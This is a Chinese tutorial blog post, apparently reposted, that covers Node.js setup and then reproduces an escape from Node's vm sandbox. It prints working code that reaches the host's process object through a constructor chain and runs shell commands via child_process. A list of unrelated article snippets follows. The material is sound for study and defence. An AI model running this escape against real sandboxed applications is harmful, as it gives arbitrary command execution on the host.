安全杂记 - 复现nodejs沙箱绕过

目录

  • 一. 配置环境
    • 1.下载nodejs
    • 2.nodejs配置
    • 3.报错解决方法
  • 二. nodej沙箱绕过
    • 1. vm模块
    • 2.使用this或引用类型来进行沙箱绕过

一. 配置环境

1.下载nodejs

官网:https://nodejs.org/en

在这里插入图片描述

2.nodejs配置

安装nodejs的msi文件,默认配置一直下一步即可,以下步骤以默认安装为准,如有安装位置改变,请自行更改环境变量里面的配置。
继续进行环境变量的配置
用户变量如下
在这里插入图片描述
系统变量如下
在这里插入图片描述
编辑PATH添加如下
在这里插入图片描述
在默认安装位置新建如下两个文件
node_cache是放安装过程的缓存文件
node_global是存放安装模块配置位置
在这里插入图片描述
测试是否安装成功
在这里插入图片描述
继续执行如下命令

npm config set prefix "C:\Program Files\nodejs\node_global"
npm config set cache "C:\Program Files\nodejs\node_cache"

安装cluster进行测试

npm install cluster -g

3.报错解决方法

如有报错请尝试给nodejs默认安装目录提升用户权限来解决。

二. nodej沙箱绕过

1. vm模块

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

运行结果
在这里插入图片描述

2.使用this或引用类型来进行沙箱绕过

this指向的是sandbox,我们可以获得一个tosString方法,通过toString方法来获得一个构造函数。
所有函数都是由Fuction创造出来的,我们的目的是拿到process模块
在这里插入图片描述
因为constructor本身指向它的构造函数,所以我们可以利用constructor函数,来拿到Function函数
沙盒逃逸就是要把外面的元素或者对象引入进来。
如下,此时是利用this

const vm = require('vm');
const script = `
const process = x.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;const sandbox = { m: [], n: {}, x:/regexp/};
const context = new vm.createContext(sandbox);
//const res = vm.runInContext(script, context);
const res = vm.runInContext(script,context)
console.log(res)

我们把“x”替换为this也是可以成功执行的,此时m和n可以是任意.,这个是利用了引用类型比如{}。


const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('ipconfig').toString()
`;const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
//const res = vm.runInContext(script, context);
const res = vm.runInContext(script,context)
console.log(res)

whoami成功执行,代表着此时已经可以任意命令执行
在这里插入图片描述
用户learnpc是我的管理员用户
在这里插入图片描述

比如我们这里在执行以下ipconfig来进行验证
在这里插入图片描述
以上便是经典的沙箱逃逸来执行命令,当我们可以执行命令的时候,便说明我们其实已经成功拿下。此时也可执行其他不好的命令。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/30054.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring 创建和使用

文章目录 创建 Spring 项目1. 创建一个Maven项目2. 添加 Spring 框架支持3. 添加启动类 存储 Bean 对象创建一个 Bean将 Bean 注册到容器 获取并使用 Bean 对象创建 Spring 上下文获取指定的 Bean 对象使用 Bean 对象 getBean() 的用法总结 创建 Spring 项目 1. 创建一个Maven…

山东布谷科技直播软件源码探索高效、稳定直播传输的技术介绍:流媒体传输技术

今天我们探索的是让直播软件源码平台在直播时能够高效、稳定的进行直播传输的技术,而这个技术就是直播软件源码平台的流媒体传输技术,在直播软件源码平台中,流媒体传输技术会将直播的图像、视频、音频等相关的流媒体信号通过网络传递到用户的…

Is a directory: ‘outs//.ipynb_checkpoints‘

提示out/文件夹的.ipynp_chechpoints是一个文件夹,但是打开文件夹却没有看到,可以得知他是一个隐藏文件夹,进入outs/文件夹,使用 ls -a可以看到所有文件 果然出现这个文件夹,但是我们这个outs/文件夹存放的是图片&am…

25分钟极速入门Java基础教程

1. 前置准备及HelloWord案例 1.1. 创建Java项目(本教程采用Idea演示语法) 1.2. 点击上面的创建你会得到下面一些的项目目录 1.3. 编写第一个代码(在控制台输出HelloWord) 1.3.1. 新建一个包,方便我们管理我们的代码 1.3.2. 建立一个类文件,编写代码的地方(也就是我…

TCP三次握手、四次握手过程,以及原因分析

TCP的三次握手和四次挥手实质就是TCP通信的连接和断开。 三次握手:为了对每次发送的数据量进行跟踪与协商,确保数据段的发送和接收同步,根据所接收到的数据量而确认数据发送、接收完毕后何时撤消联系,并建立虚连接。 四次挥手&…

Mysql in 查询的奇怪方向

Mysql in 查询的奇怪方向 关于表字段存储的数据为 num1,num2,num3时, 还要通过多个num1,num2入参针对该字段进行查询 建表语句 CREATE TABLE test (test_ids varchar(100) DEFAULT NULL COMMENT 保存ids 以逗号分隔 ) ENGINEInnoDB;数据项 查询语句 SELECT test_ids FROM t…

dotNet 之数据库sqlite

Sqlite3是个特别好的本地数据库,体积小,无需安装,是写小控制台程序最佳数据库。NET Core是同样也是.NET 未来的方向。 **硬件支持型号 点击 查看 硬件支持 详情** DTU701 产品详情 DTU702 产品详情 DTU801 产品详情 DTU802 产品详情 D…

一文详解 DolphinDB SQL 标准化

为了提升用户体验,降低用户学习成本和脚本迁移复杂度,自 1.30.17 / 2.00.5 版本开始,DolphinDB 逐步支持了标准化 SQL 的书写方法;并于 1.30.22 / 2.00.10 版本起,对标准 SQL 的常用语法和关键字实现了兼容。 1. 与标…

HIVE语法优化之Join优化

桶用两表关联字段,MapJoin时需要将小表填入内存,这时候,分桶就起到了作用 一个stage阶段代表一个mr执行,好几个MR,会吧每一个MR的结果都压缩 Mysql 慢查询 如果sql语句执行超过指定时间,定义该sql为慢查询,存储日志, 查问题: SQL日志,模拟慢SQL 然后查询执行计划 分组聚合 就…

2. 软件需求 面向对象分析

目录 1. 软件需求 1.1 需求分类 1.2 需求获取 1.3 需求分析 2. 面向对象分析(OOA) 2.1 统一建模语言 UML 2.2 用例模型 2.2.1 用例图的元素 2.2.2 识别参与者 2.2.3 合并需求获得用例 2.2.4 细化用例描述 2.3 分析模型 2.3.1 定义概念类 …

SpringBoot多环境切换及JSR303数据校验

多环境切换 profile是Spring对不同环境提供不同配置功能的支持,可以通过激活不同的环境版本,实现快速切换环境; 多配置文件 我们在主配置文件编写的时候,文件名可以是 application-{profile}.properties/yml , 用来指定多个环境版…

【历史上的今天】8 月 10 日:“龙芯”点亮操作系统;谷歌宣布拆分;计算机先驱诞生日

整理 | 王启隆 透过「历史上的今天」,从过去看未来,从现在亦可以改变未来。 今天是 2023 年 8 月 10 日,在 2010 年 5 月,苹果公司市值超过微软,成为全球市值最高的 IT 企业;在此过程中,苹果公…

云安全攻防(八)之 Docker Remote API 未授权访问逃逸

Docker Remote API 未授权访问逃逸 基础知识 Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以…

YOLOX:2021年超越YOLO系列

论文链接如下: ReadPaperhttps://readpaper.com/pdf-annotate/note?pdfId4558468783967051777eId740712499546066944 作者信息如下: 图1:YOLOX和其他最先进的物体探测器在移动设备上的精确模型的速度-精度权衡(上)和尺寸-精度曲线(下)。 …

2023企业数智化转型的正确打开方式是什么?他这样说(二)

哈喽~又见面了大家!上期我们说到了数据在数智化转型中的重要性,戳这里↓↓↓,一键直达 2023企业数智化转型的正确打开方式是什么?他这样说(一) 这期我们将从监控的角度进一步跟大家分享数智化转型&#x…

Java # Spring(2)

一、Spring事物 一、分类 编程式事物:代码中硬编码(不推荐使用) 声明式事物:配置文件中配置(推荐使用) 分类: 基于xml的声明式事物基于注解的声明式事物 二、隔离级别 ISOLATION_DEFAULT&…

Kubernetes集群部署

环境 > 192.168.50.53 k8s-master > 192.168.50.51 k8s-node1 > 192.168.50.50 k8s-node2 必须不能少于两核两G 所有主机共同操作 主机初始化配置 所有主机配置禁用防火墙和selinux [rootserver ~]# setenforce 0 [rootserver ~]# iptables -F [rootserver ~]…

LeetCode150道面试经典题--罗马数字转整数(简单)

目录 1.题目 2.示例 3.思路 4.案例代码(Java) 1.题目 罗马数字包含以下七种字符: I, V, X, L,C,D 和 M。 字符 数值 I 1 V 5 X 10 L …

java Spring Boot yml多环境配置

我们项目 线上和线下 环境配置不是特别一样 例如 运行的URL 数据库地址 数据库的账号密码 这些经常是不一样的 如果每次上线钱改 也不是特别方便 甚至可能忘记 那么 进入我们代码中 所谓的多环境 就是在不同的环境下配置不同的值 终端还是在application配置文件中 多环境的话…

一、Kubernetes介绍与集群架构

Kubernetes介绍与集群架构 一、认识容器编排工具 docker machine 主要用于准备docker host现已弃用建议使用docker desktop docker compose Compose 是一个用于定义和运行多容器 Docker 应用程序的工具。使用 Compose,您可以使用 YAML 文件来配置应用程序的服务。…